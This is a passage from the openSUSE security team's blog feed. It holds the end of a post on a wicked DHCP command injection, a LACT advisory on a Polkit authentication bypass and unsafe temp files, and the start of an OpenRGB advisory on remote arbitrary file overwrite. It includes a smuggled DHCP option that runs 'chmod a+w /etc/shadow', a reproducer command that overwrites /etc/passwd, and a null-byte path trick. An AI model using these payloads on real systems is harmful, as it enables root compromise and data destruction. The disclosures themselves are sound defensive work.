into files below <code class="language-plaintext highlighter-rouge">/run/wicked/leaseinfo.*</code>, which contain lines of the form
<code class="language-plaintext highlighter-rouge">KEY='value'</code>.</p>

<p>We found that the values of a number of DHCP options, among them
<code class="language-plaintext highlighter-rouge">POSIXTZSTRING</code>, were <a href="https://github.com/openSUSE/wicked/blob/62d6df455f43b9b099cbe786837adb46c0c50ca0/src/leaseinfo.c#L781">written out verbatim</a>, enclosed
in single quotes but without any validation or escaping:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">fprintf</span><span class="p">(</span><span class="n">out</span><span class="p">,</span> <span class="s">"%s='%s'</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">__ni_keyword_format</span>
        <span class="p">(</span><span class="o">&amp;</span><span class="n">key</span><span class="p">,</span> <span class="n">prefix</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">index</span><span class="p">),</span>
        <span class="n">val_to_print</span><span class="p">);</span>
</code></pre></div></div>

<p>A DHCP server can thus place a single quote in an option value and break out
of the quoting. A <code class="language-plaintext highlighter-rouge">dnsmasq</code> configured with</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dhcp-option=100,'; chmod a+w /etc/shadow; /bin/true '
</code></pre></div></div>

<p>results in the following line in the leaseinfo file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POSIXTZSTRING=''; chmod a+w /etc/shadow; /bin/true ''
</code></pre></div></div>

<p>The interesting part about this issue is <em>who</em> actually executes this. <code class="language-plaintext highlighter-rouge">wicked</code>
itself never sources these files; it only passes them on to <code class="language-plaintext highlighter-rouge">netconfig modify</code>,
which rejects any line whose value is not strictly single-quoted. There was,
however, also no documentation stating how the leaseinfo files were intended
to be consumed. Since their syntax looks exactly like shell variable
assignments, third party code simply started to source them from shell
scripts. We found several examples of this in our distributions and in the
wild, among them <a href="https://github.com/dracut-ng/dracut/blob/a81148a387dd868462599746dc106d42ab8e1a89/modules.d/35network-legacy/ifup.sh#L35"><code class="language-plaintext highlighter-rouge">dracut</code>’s <code class="language-plaintext highlighter-rouge">network-legacy</code> module</a>, the
SUSE <a href="https://github.com/SUSE-Enceladus/cloud-netconfig/blob/d51265e0c46b2c413af1001020b26fd293685239/common/cloud-netconfig#L395">cloud-netconfig</a> scripts and
<a href="https://github.com/finley/SystemImager/blob/1e83cf9ad9dec2fa623b1dd54cc9a77ab8053a0f/lib/dracut/modules.d/51systemimager/systemimager-load-network-infos.sh#L197">SystemImager</a>.</p>

<p>The <code class="language-plaintext highlighter-rouge">dracut</code> case is the nastiest one: <code class="language-plaintext highlighter-rouge">ifup.sh</code> sources the leaseinfo file as
<code class="language-plaintext highlighter-rouge">root</code> in the initrd, turning the issue into unauthenticated code execution as
<code class="language-plaintext highlighter-rouge">root</code> for an attacker on the local or adjacent network. The <code class="language-plaintext highlighter-rouge">network-legacy</code>
module is not active by default, but it is pulled in by plausible setups such
as remote unlocking via <code class="language-plaintext highlighter-rouge">dracut-sshd</code>, or systems that need NFS, iSCSI or NBD
during early boot. We confirmed this end-to-end on SLE-15-SP7.</p>

<p>We rated the issue <code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code> (8.8 High)
and <code class="language-plaintext highlighter-rouge">CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H</code> (5.8
Medium). This is a nice example of the improved precision of CVSS v4.0, which
is able to express that the impact materializes in a <em>subsequent</em> system
rather than in <code class="language-plaintext highlighter-rouge">wicked</code> itself.</p>

<p>The issue was <a href="https://bugzilla.suse.com/show_bug.cgi?id=1265221">handled under embargo</a> and fixed by <code class="language-plaintext highlighter-rouge">wicked</code>
upstream: single quotes are now rejected in all string options and discarded
values are logged as warnings; should a suspect string still pass the input
check, single quotes are additionally escaped in the leaseinfo output. The
<a href="https://github.com/openSUSE/wicked/pull/1071">fix</a> was released for all maintained SLE and openSUSE
codestreams, including a rebuild of the initrd, which carries its own copy of
<code class="language-plaintext highlighter-rouge">wicked</code>.</p>

<h1 id="9-conclusion">9) Conclusion</h1>

<p>As can be seen from this edition of the spotlight series, maintaining the
security of a complete Linux distribution is no small feat both in terms of
volume and range of topics that have to be covered by our team. We continue
to contribute to the overall security of the Linux ecosystem by reviewing
code, publishing security reports and contributing back upstream to be able to
provide our users and customers with a robust and secure Linux distribution
that you can trust.</p>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:wolfgang.frisch@suse.com&apos;&gt;Wolfgang Frisch&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="spotlight" /><summary type="html"><![CDATA[This is a combined spring/summer edition of our spotlight series. This time we will discuss various changes in D-Bus and Polkit features, a number of Linux capability assignments, a revisit of the Apptainer starter-suid binary, newly introduced Varlink packaging restrictions, a review of the pam_ssh_agent PAM module and a command injection issue we found in the wicked network configuration framework.]]></summary></entry><entry><title type="html">LACT: Polkit Authentication Bypass and Temporary File Handling Issues</title><link href="https://security.opensuse.org/2026/08/31/lact-gpu-control.html" rel="alternate" type="text/html" title="LACT: Polkit Authentication Bypass and Temporary File Handling Issues" /><published>2026-08-31T00:00:00+00:00</published><updated>2026-08-31T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/08/31/lact-gpu-control</id><content type="html" xml:base="https://security.opensuse.org/2026/08/31/lact-gpu-control.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
  <li><a href="#2-the-lact-daemon" id="markdown-toc-2-the-lact-daemon">2) The LACT Daemon</a></li>
  <li><a href="#issues" id="markdown-toc-issues">3) Security Issues</a></li>
  <li><a href="#31-polkit-authentication-bypass-due-to-pid-race-cve-2026-75037" id="markdown-toc-31-polkit-authentication-bypass-due-to-pid-race-cve-2026-75037">3.1) Polkit Authentication Bypass due to PID Race (CVE-2026-75037)</a></li>
  <li><a href="#32-predictable-temporary-file-creation-in-snapshot-api-cve-2026-75038" id="markdown-toc-32-predictable-temporary-file-creation-in-snapshot-api-cve-2026-75038">3.2) Predictable Temporary File Creation in Snapshot API (CVE-2026-75038)</a></li>
  <li><a href="#4-coordinated-disclosure-and-upstream-bugfix-release" id="markdown-toc-4-coordinated-disclosure-and-upstream-bugfix-release">4) Coordinated Disclosure and Upstream Bugfix Release</a></li>
  <li><a href="#5-timeline" id="markdown-toc-5-timeline">5) Timeline</a></li>
  <li><a href="#6-references" id="markdown-toc-6-references">6) References</a></li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p><a href="https://github.com/ilya-zlobintsev/LACT">LACT</a> is a daemon and graphical user interface for controlling
GPU devices on Linux. Beyond providing access to device information,
features like GPU overclocking and cooler control are included. In a
recent update of LACT a Polkit policy appeared, which <a href="https://bugzilla.suse.com/show_bug.cgi?id=1274863">triggered a
review</a> for the corresponding package in openSUSE Tumbleweed.</p>

<p>During the review we identified a Polkit authentication bypass and a
predictable temporary file name issue, resulting in potential local root
exploits. The following sections describe the security issues in detail. This
report is based on <a href="https://github.com/ilya-zlobintsev/LACT/releases/tag/v0.10.0">release v0.10.0</a> of LACT.</p>

<h1 id="2-the-lact-daemon">2) The LACT Daemon</h1>

<p>LACT contains a <a href="https://github.com/ilya-zlobintsev/LACT/blob/v0.10.0/res/lactd.service">systemd service unit</a> which runs the <code class="language-plaintext highlighter-rouge">lact</code>
program as a daemon with full root privileges. No systemd service hardening is
in place. The daemon exposes a UNIX domain socket in <code class="language-plaintext highlighter-rouge">/run/lactd.sock</code>.
Upstream intends this socket to be accessible by members of either the <code class="language-plaintext highlighter-rouge">wheel</code>
or the <code class="language-plaintext highlighter-rouge">sudo</code> group. In openSUSE Tumbleweed a stricter opt-in model is used
instead: only members of a dedicated <code class="language-plaintext highlighter-rouge">lact</code> group are allowed to access the
socket.</p>

<p>The socket is used to exchange LACT-specific messages based on the Rust
<a href="https://serde.rs/">serde</a> serialization format. In version 0.10.0 of LACT, some of the
message types supported by the daemon have been additionally protected by
Polkit authentication checks.</p>

<h1 id="issues">3) Security Issues</h1>

<h1 id="31-polkit-authentication-bypass-due-to-pid-race-cve-2026-75037">3.1) Polkit Authentication Bypass due to PID Race (CVE-2026-75037)</h1>

<p>The Polkit authentication in the LACT daemon relies on function
<a href="https://github.com/ilya-zlobintsev/LACT/blob/2aa6d0d770546fb36dd8714801c373060e4dd912/lact-daemon/src/server/handler.rs#L1273"><code class="language-plaintext highlighter-rouge">check_auth()</code></a>, which authenticates the client solely based
on its PID, which is a known misuse in Polkit authentication. A malicious
client can attempt to send out the request, then cycle PIDs in an attempt to
replace its own PID by a privileged process to alter the outcome of the Polkit
authentication check.</p>

<p>Polkit authentication in LACT is used to prevent unprivileged users from
adding so-called profile hooks to the LACT configuration. These hooks are
basically scripts that will be executed with full root privileges as soon as a
LACT profile is (de)activated. As a result, a Polkit authentication bypass in
this context allows to gain full root access. Due to the access restrictions
to the LACT UNIX domain socket, the privilege escalation is only possible for
users that already own a certain level of privilege (i.e. membership in the
<code class="language-plaintext highlighter-rouge">wheel</code>, <code class="language-plaintext highlighter-rouge">sudo</code> or <code class="language-plaintext highlighter-rouge">lact</code> group).</p>

<p>We assigned CVE-2026-75037 to track this issue. Upstream fixed this flaw in
<a href="https://github.com/ilya-zlobintsev/LACT/commit/d0478fe42c2219454e272f96b1cbd29ab37ee566">commit d0478fe4</a> by additionally passing the caller’s
UID to the Polkit daemon, preventing race conditions from influencing the
outcome of the authorization.</p>

<p>Shortly before publication of this report the upstream author informed us
about <a href="https://github.com/z-galaxy/zbus_polkit/pull/101">a more deeply rooted issue</a> in Rust crate <code class="language-plaintext highlighter-rouge">zbus_polkit</code>
which affects various Rust applications that attempt to pass client UIDs to
Polkit. Due to a D-Bus data type mismatch the UID seems to be silently
dropped from the authentication data, resulting again in the same weakness. An
update of the <code class="language-plaintext highlighter-rouge">zbus_polkit</code> crate, which is part of Rust vendor sources of
various packages is thus strongly recommended to developers of affected
applications and distributors. For LACT a <a href="https://github.com/ilya-zlobintsev/LACT/commit/40dcf29841e9da56b787b7af0e5ba27d9ce18e0c">bugfix commit</a> is
already available.</p>

<h1 id="32-predictable-temporary-file-creation-in-snapshot-api-cve-2026-75038">3.2) Predictable Temporary File Creation in Snapshot API (CVE-2026-75038)</h1>

<p>The <a href="https://github.com/ilya-zlobintsev/LACT/blob/2aa6d0d770546fb36dd8714801c373060e4dd912/lact-daemon/src/server/handler.rs#L717"><code class="language-plaintext highlighter-rouge">generate_snapshot()</code></a> function is accessible
without Polkit authentication. It creates a tarball in paths of the pattern
<code class="language-plaintext highlighter-rouge">/tmp/LACT-v{DAEMON_VERSION}-snapshot-{datetime}.tar.gz</code>, which are
predictable. The system calls used by the daemon to create these files are as
follows (<code class="language-plaintext highlighter-rouge">strace</code> excerpt):</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openat<span class="o">(</span>AT_FDCWD, <span class="s2">"/tmp/LACT-v0.10.0-snapshot-20260819-101819.tar.gz"</span> O_WRONLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0666<span class="o">)</span> <span class="o">=</span> 17
<span class="o">[</span>...]
fchmod<span class="o">(</span>17, 0775<span class="o">)</span> <span class="o">=</span> 0
</code></pre></div></div>

<p>As can be seen there is no <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> and no <code class="language-plaintext highlighter-rouge">O_EXCL</code> flag passed here. On
systems without the <code class="language-plaintext highlighter-rouge">protected_symlinks</code> and <code class="language-plaintext highlighter-rouge">protected_regular</code> sysctls
enabled this allows various attack vectors:</p>

<ul>
  <li>local Denial-of-Service: by pointing symbolic links to vital system files,
the target files will be overwritten, breaking the system. The content of
the tarball is not attacker-controlled (or at best partly and indirectly),
therefore further privilege escalation should not be possible this way.</li>
  <li>Denial-of-Service against the LACT daemon: by placing a special file like a
FIFO named pipe in this location the daemon will block forever, trying to
write data to it.</li>
  <li>local information leak: the tarball contains data about GPU devices and LACT
configuration; mostly information that is available to all users in the
system anyway. By placing a symlink to a private file, however, the target
file will end up with world-readable permissions, due to the <code class="language-plaintext highlighter-rouge">fchmod()</code>. The
content of the file will be lost due to the <code class="language-plaintext highlighter-rouge">O_TRUNC</code> flag during <code class="language-plaintext highlighter-rouge">openat()</code>,
but the file might be re-populated with sensitive data by privileged processes
at a later time, without restoring the original safe file permissions.</li>
</ul>

<p>With the kernel hardenings <code class="language-plaintext highlighter-rouge">protected_symlinks</code> and <code class="language-plaintext highlighter-rouge">protected_regular</code>
enabled, which is the default on most systems, these issues are fortunately
not exploitable.</p>

<p>A side effect of how the tarball creation in LACT works at the moment is that
the snapshot tarball cannot be deleted by the client that asked for it, since
it is owned by <code class="language-plaintext highlighter-rouge">root</code>. As there is already a UNIX domain socket available, we
suggested to upstream to use file descriptor passing instead: the client
passes to the daemon an already open file where the tarball data will be
written. This way neither <code class="language-plaintext highlighter-rouge">open()</code> nor <code class="language-plaintext highlighter-rouge">chmod()</code> calls will be necessary in
the privileged daemon, resulting in a much cleaner design.</p>

<p>We assigned CVE-2026-75038 to track this issue. Upstream fixed this flaw in
<a href="https://github.com/ilya-zlobintsev/LACT/commit/2aae677d0e94bd2824cbe3dab6dc9ac795cae013">commit 2aae677d0</a> by invoking <code class="language-plaintext highlighter-rouge">File::create_new()</code>
instead of plain <code class="language-plaintext highlighter-rouge">File::create()</code>. This results in the <code class="language-plaintext highlighter-rouge">O_EXCL</code> flag to be
passed to the <code class="language-plaintext highlighter-rouge">openat()</code> system call shown above, preventing both opening
already existing files and following symbolic links.</p>

<h1 id="4-coordinated-disclosure-and-upstream-bugfix-release">4) Coordinated Disclosure and Upstream Bugfix Release</h1>

<p>We offered coordinated disclosure to upstream, who declined and quickly pushed
bugfixes to the LACT GitHub project instead. The bugfixes (including the
<code class="language-plaintext highlighter-rouge">zbus_polkit</code> fix) are included in the recently published <a href="https://github.com/ilya-zlobintsev/LACT/releases/tag/v0.10.1">release
v0.10.1</a>.</p>

<h1 id="5-timeline">5) Timeline</h1>

<table>
  <tbody>
    <tr>
      <td>2026-08-19</td>
      <td>We reached out privately to the owner of the LACT GitHub project, offering coordinated disclosure.</td>
    </tr>
    <tr>
      <td>2026-08-19</td>
      <td>We received a reply in which upstream declined coordinated disclosure, pointing out two public bugfix commits instead.</td>
    </tr>
    <tr>
      <td>2026-08-24</td>
      <td>Due to a lost email on our end we only noticed at this time that there was an upstream reply and started acting on it.</td>
    </tr>
    <tr>
      <td>2026-08-25</td>
      <td>We assigned CVEs for the issues in this report and shared them with upstream.</td>
    </tr>
    <tr>
      <td>2026-08-25</td>
      <td>Our LACT packager backported the upstream bugfixes allowing us to progress with the openSUSE Tumbleweed LACT update to version 0.10.0.</td>
    </tr>
    <tr>
      <td>2026-08-28</td>
      <td>We received a follow-up email from upstream pointing out that an <a href="https://github.com/z-galaxy/zbus_polkit/pull/101">issue in Rust’s <code class="language-plaintext highlighter-rouge">zbus_polkit</code></a> causes the subject’s UID information to be silently dropped from Polkit authentication calls.</td>
    </tr>
    <tr>
      <td>2026-08-28</td>
      <td>Publication of this report.</td>
    </tr>
  </tbody>
</table>

<h1 id="6-references">6) References</h1>

<ul>
  <li><a href="https://github.com/ilya-zlobintsev/LACT">LACT GitHub repository</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1274863">openSUSE review bug for LACT Polkit Authorization</a></li>
  <li><a href="https://github.com/ilya-zlobintsev/LACT/commit/d0478fe42c2219454e272f96b1cbd29ab37ee566">Polkit Authorization Bugfix</a></li>
  <li><a href="https://github.com/ilya-zlobintsev/LACT/commit/2aae677d0e94bd2824cbe3dab6dc9ac795cae013">Snapshot Temporary File Bugfix</a></li>
</ul>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="CVE" /><category term="local" /><category term="Polkit" /><summary type="html"><![CDATA[LACT is a daemon and graphical UI for controlling GPUs on Linux. A review of a UNIX domain socket API uncovered a Polkit authentication bypass resulting in a potential local root exploit, and issues in temporary file creation.]]></summary></entry><entry><title type="html">OpenRGB: Remote System Compromise via Custom Network Protocol</title><link href="https://security.opensuse.org/2026/08/25/openrgb-remote-vulnerabilities.html" rel="alternate" type="text/html" title="OpenRGB: Remote System Compromise via Custom Network Protocol" /><published>2026-08-25T00:00:00+00:00</published><updated>2026-08-25T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/08/25/openrgb-remote-vulnerabilities</id><content type="html" xml:base="https://security.opensuse.org/2026/08/25/openrgb-remote-vulnerabilities.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
  <li><a href="#2-overview-of-openrgb" id="markdown-toc-2-overview-of-openrgb">2) Overview of OpenRGB</a></li>
  <li><a href="#3-overview-of-the-network-protocol" id="markdown-toc-3-overview-of-the-network-protocol">3) Overview of the Network Protocol</a></li>
  <li><a href="#reproducer" id="markdown-toc-reproducer">4) Reproducer Script</a></li>
  <li><a href="#issues" id="markdown-toc-issues">5) Security Issues</a>    <ul>
      <li><a href="#issue-file-overwrite" id="markdown-toc-issue-file-overwrite">5.1) Arbitrary File Overwrite via <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> Message (CVE-2026-59682)</a></li>
      <li><a href="#issue-system-compromise" id="markdown-toc-issue-system-compromise">5.2) Remote and Local Root Exploits via <code class="language-plaintext highlighter-rouge">UPDATEMODE</code> and <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> Messages (CVE-2026-59683)</a></li>
      <li><a href="#issue-memory-handling" id="markdown-toc-issue-memory-handling">5.3) Various Denial-of-Service Attack Vectors (CVE-2026-18794)</a></li>
    </ul>
  </li>
  <li><a href="#concerns" id="markdown-toc-concerns">6) Other Concerns</a>    <ul>
      <li><a href="#61-server-attempts-to-act-as-a-client" id="markdown-toc-61-server-attempts-to-act-as-a-client">6.1) Server Attempts to Act as a Client</a></li>
      <li><a href="#62-lack-of-network-byte-order-handling" id="markdown-toc-62-lack-of-network-byte-order-handling">6.2) Lack of Network Byte Order Handling</a></li>
      <li><a href="#63-plugin-support-further-expands-attack-surface" id="markdown-toc-63-plugin-support-further-expands-attack-surface">6.3) Plugin Support Further Expands Attack Surface</a></li>
      <li><a href="#64-vast-range-of-led-controllers-expands-attack-surface" id="markdown-toc-64-vast-range-of-led-controllers-expands-attack-surface">6.4) Vast Range of LED Controllers Expands Attack Surface</a></li>
    </ul>
  </li>
  <li><a href="#suggestions" id="markdown-toc-suggestions">7) Further Suggestions</a>    <ul>
      <li><a href="#71-systemd-service-hardening" id="markdown-toc-71-systemd-service-hardening">7.1) systemd Service Hardening</a></li>
      <li><a href="#72-dropping-privileges" id="markdown-toc-72-dropping-privileges">7.2) Dropping Privileges</a></li>
      <li><a href="#73-mutual-authentication" id="markdown-toc-73-mutual-authentication">7.3) Mutual Authentication</a></li>
      <li><a href="#74-applying-safe-defaults" id="markdown-toc-74-applying-safe-defaults">7.4) Applying Safe Defaults</a></li>
    </ul>
  </li>
  <li><a href="#affected-versions" id="markdown-toc-affected-versions">8) Affected OpenRGB Versions</a></li>
  <li><a href="#affected-distros" id="markdown-toc-affected-distros">9) Affected Systems</a>    <ul>
      <li><a href="#91-linux-distributions" id="markdown-toc-91-linux-distributions">9.1) Linux Distributions</a></li>
      <li><a href="#92-bsd-distributions" id="markdown-toc-92-bsd-distributions">9.2) BSD Distributions</a></li>
      <li><a href="#93-other-systems" id="markdown-toc-93-other-systems">9.3) Other Systems</a></li>
    </ul>
  </li>
  <li><a href="#cves" id="markdown-toc-cves">10) CVE Assignments</a></li>
  <li><a href="#bugfixes" id="markdown-toc-bugfixes">11) Upstream Bugfixes</a></li>
  <li><a href="#12-timeline" id="markdown-toc-12-timeline">12) Timeline</a></li>
  <li><a href="#13-references" id="markdown-toc-13-references">13) References</a></li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p><a href="https://openrgb.org">OpenRGB</a> is a cross-platform software suite for controlling
RGB LED lighting devices on Linux, MacOS and Windows. It caught our
attention due to a new systemd service which appeared in the openSUSE
Tumbleweed OpenRGB package, containing the following configuration:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>Service]
<span class="nv">ExecStart</span><span class="o">=</span>/usr/bin/openrgb <span class="nt">--server</span> <span class="nt">--config</span> /etc/openrgb
<span class="nv">Restart</span><span class="o">=</span>always
<span class="nv">RuntimeDirectory</span><span class="o">=</span>openrgb
<span class="nv">WorkingDirectory</span><span class="o">=</span>/run/openrgb
</code></pre></div></div>

<p>The daemon runs with full root privileges. A quick investigation showed that
it also implements a TCP networking protocol listening on wildcard IP address
“0.0.0.0” port 6742 by default. Due to these high-risk properties we scheduled
a <a href="https://bugzilla.suse.com/show_bug.cgi?id=1269523">detailed security review</a> of the service. During the review we
found various security issues in the protocol which can even lead to a full
remote system compromise (<a href="#issue-system-compromise">issue 5.2</a>).
Upstream <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_candidate_1.0rc3.1">release 1.0rc3-hotfix</a> addresses the worst
aspects of the flaws discussed in this report.</p>

<p>The next sections provide an overview of the technical details in OpenRGB and
its network protocol. <a href="#reproducer">Section 4)</a> points out a reproducer
script we offer. <a href="#issues">Section 5)</a> describes the security issues in
detail. <a href="#concerns">Section 6)</a> discusses further security concerns we
found in the codebase of OpenRGB. In <a href="#suggestions">section 7)</a> we
provide additional hardening recommendations for the project. <a href="#affected-versions">Section
8)</a> looks into the affected OpenRGB releases while
<a href="#affected-distros">section 9)</a> gives an overview of affected Linux
and BSD distributions. In <a href="#cves">section 10)</a> CVE assignments for the
issues in this report are discussed. Finally <a href="#bugfixes">section 11)</a>
covers the bugfixes provided by upstream to address the issues in this report.</p>

<p>This report is based on upstream release tag
<a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_candidate_1.0rc3">release_candidate_1.0rc3</a>.</p>

<h1 id="2-overview-of-openrgb">2) Overview of OpenRGB</h1>

<p>OpenRGB is implemented in C++ and consists of about 350,000 lines of code.
It ships a single executable <code class="language-plaintext highlighter-rouge">openrgb</code> which implements three different
personalities:</p>

<ul>
  <li>a graphical UI application implemented in Qt which allows to control and
inspect various aspects of OpenRGB.</li>
  <li>a client personality which is used to query state from or modify an already
running server instance of <code class="language-plaintext highlighter-rouge">openrgb</code>.</li>
  <li>a server personality which implements a custom network protocol listening on
wildcard IP “0.0.0.0” port 6742 by default. Only default-enabled firewalls
prevent attack surface exposed by the service from becoming immediately
accessible to remote attackers. Local users can always connect to the daemon via
<code class="language-plaintext highlighter-rouge">localhost</code>. In server mode the daemon collects information about LED devices
and stores their state in memory. The network protocol allows to retrieve
information about the current devices and daemon state as well as to modify
certain aspects of the daemon configuration.</li>
</ul>

<h1 id="3-overview-of-the-network-protocol">3) Overview of the Network Protocol</h1>

<p>Each OpenRGB network message starts with <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/NetworkProtocol.h?ref_type=tags#L44">a <code class="language-plaintext highlighter-rouge">NetPacketHeader</code> of 16 bytes
size</a>. This header most prominently defines the operation to be
carried out (<code class="language-plaintext highlighter-rouge">pkt_id</code>) and the length of the payload following the header
(<code class="language-plaintext highlighter-rouge">pkt_size</code>). The available network messages are declared via <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/NetworkProtocol.h?ref_type=tags#L57"><code class="language-plaintext highlighter-rouge">NET_PACKET_ID</code>
enum constants</a>. The server-side parsing logic is located in
<a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/NetworkServer.cpp?ref_type=tags#L567"><code class="language-plaintext highlighter-rouge">NetworkServer::ListenThreadFunction()</code></a>.</p>

<p>Different versions of the protocol have evolved over time. The protocol
version in use can be reported by the client via the
<code class="language-plaintext highlighter-rouge">NET_PACKET_ID_REQUEST_PROTOCOL_VERSION</code> message, but is inconsistently also
sometimes embedded into the payload data of specific message types. When the
version is not reported by a client then it is treated as 0 on the
server-side; the current protocol version is 5. The structure of the message
payload is highly context-dependent; exact sequences of integer/string values
conforming to the message type and protocol version in effect must be
used.</p>

<p>There exists no well-defined protocol data type specification; the common
pattern seems to be that most of the time 4-byte signed/unsigned integers,
2-byte unsigned short integers and strings are utilized. In some message types
where only a single string is found in the payload, the string length is
identified by the payload length in the header. Otherwise strings start with a
2-byte string length unsigned short integer.</p>

<p>There is no authentication or authorization existing on protocol level, which
means that anybody reaching the daemon can perform all operations it offers.
Generally there exists little verification of input data: there are no checks
against overly large messages and resulting memory allocations, scarce checks
for valid and sufficient input data, allowing memory corruption, and there is
no validation of logical operations that are carried out e.g. on the file
system as a result of client requests. Even where length information is
available in the protocol and parsed by the server, it is sometimes discarded
and raw network data is instead passed e.g. to <code class="language-plaintext highlighter-rouge">std::string</code> objects, assuming
proper null termination of client-provided strings.</p>

<h1 id="reproducer">4) Reproducer Script</h1>

<p>We offer a <a href="/download/openrgb-exploit.tar.gz">tarball for download</a> containing a Python
script, two symlinks pointing to it and a test configuration file. The script
can act as an OpenRGB network client as well as a network server, and
implements parts of the protocol for the purposes of reproducing the security
issues discussed further below. We will point out specific reproducer command
lines based on this script over the course of this report.</p>

<h1 id="issues">5) Security Issues</h1>

<h2 id="issue-file-overwrite">5.1) Arbitrary File Overwrite via <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> Message (CVE-2026-59682)</h2>

<p>The <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/NetworkServer.cpp?ref_type=tags#L892"><code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> message</a> causes the OpenRGB server to
store its current profile data in a local file path. There is no verification
of the path passed by the client, allowing it to point to arbitrary locations
on the file system. When the daemon runs with full <code class="language-plaintext highlighter-rouge">root</code> privileges, as
suggested by the OpenRGB systemd service unit, then arbitrary new files can be
created or existing files can be overwritten. The profile save logic truncates
the specified file if it exists, and writes the profile data into it.</p>

<p>This serves as a simple Denial-of-Service attack vector which allows to
completely break the system. There is no precondition to reaching
this outcome, it works even if the daemon is unconfigured and no LED devices
exist in the system.</p>

<p>One apparent obstacle to this attack is that a filename extension <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/ProfileManager.cpp?ref_type=tags#L57">is always
added to the path</a> passed by the client. Local
attackers can easily bypass this by placing a symbolic link into the file
system which contains the expected filename extension, which will be followed
by the OpenRGB file handling code. Even remote attackers can overcome this
limitation due to the way the string is parsed for this message type:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">profile_name</span><span class="p">;</span>
<span class="n">profile_name</span><span class="p">.</span><span class="n">assign</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">header</span><span class="p">.</span><span class="n">pkt_size</span><span class="p">);</span>
</code></pre></div></div>

<p>In most other message types in OpenRGB, string assignment is null-terminator
based; in this case the raw input data is assigned to a <code class="language-plaintext highlighter-rouge">std::string</code> instead.
This means the string can even contain null-terminators (the <code class="language-plaintext highlighter-rouge">std::string</code>
object explicitly supports such use cases). The Linux kernel’s file system
calls are always null-terminator oriented, however. When an attacker passes a
filename like <code class="language-plaintext highlighter-rouge">/etc/fstab\0\0\0suffix</code>, the server will still append the
filename extension to the string, but once it is passed to system calls, the
kernel will only create the file <code class="language-plaintext highlighter-rouge">/etc/fstab</code>, stopping at the first
null-terminator.</p>

<p>By applying this technique, both local and remote attackers can overwrite
arbitrary files on the affected system. The attached reproducer script can be
invoked as follows to reproduce the issue:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># this will overwrite /etc/passwd when OpenRGB is running on localhost</span>
user<span class="nv">$ </span>./rgb_fake_client.py <span class="nt">--save-profile</span> /etc/passwd
</code></pre></div></div>

<p>Note that <code class="language-plaintext highlighter-rouge">openrgb</code> actually intends to write the file into its “configuration
directory”, which is looked up in
<a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/ResourceManager.cpp#L658"><code class="language-plaintext highlighter-rouge">ResourceManager::SetupConfigurationDirectory()</code></a>.
When the server is started via the systemd service unit, however, none of the
environment variables inspected by the function are present. As a result the
fallback configuration directory of <code class="language-plaintext highlighter-rouge">"./"</code> is used, which will simply be <code class="language-plaintext highlighter-rouge">/</code>
in the context of the systemd service. Even if a proper configuration
directory would be set, clients can easily bypass it by prefixing <code class="language-plaintext highlighter-rouge">../</code>
directory components to reach the root of the file system.</p>

<h3 id="suggested-fix">Suggested Fix</h3>

<p>All file-related messages like <code class="language-plaintext highlighter-rouge">LOAD_PROFILE</code>, <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> and
<code class="language-plaintext highlighter-rouge">DELETE_PROFILE</code> should be restricted to a fixed directory that is only
controlled by the daemon itself. Path components like <code class="language-plaintext highlighter-rouge">/</code> and <code class="language-plaintext highlighter-rouge">..</code> in the
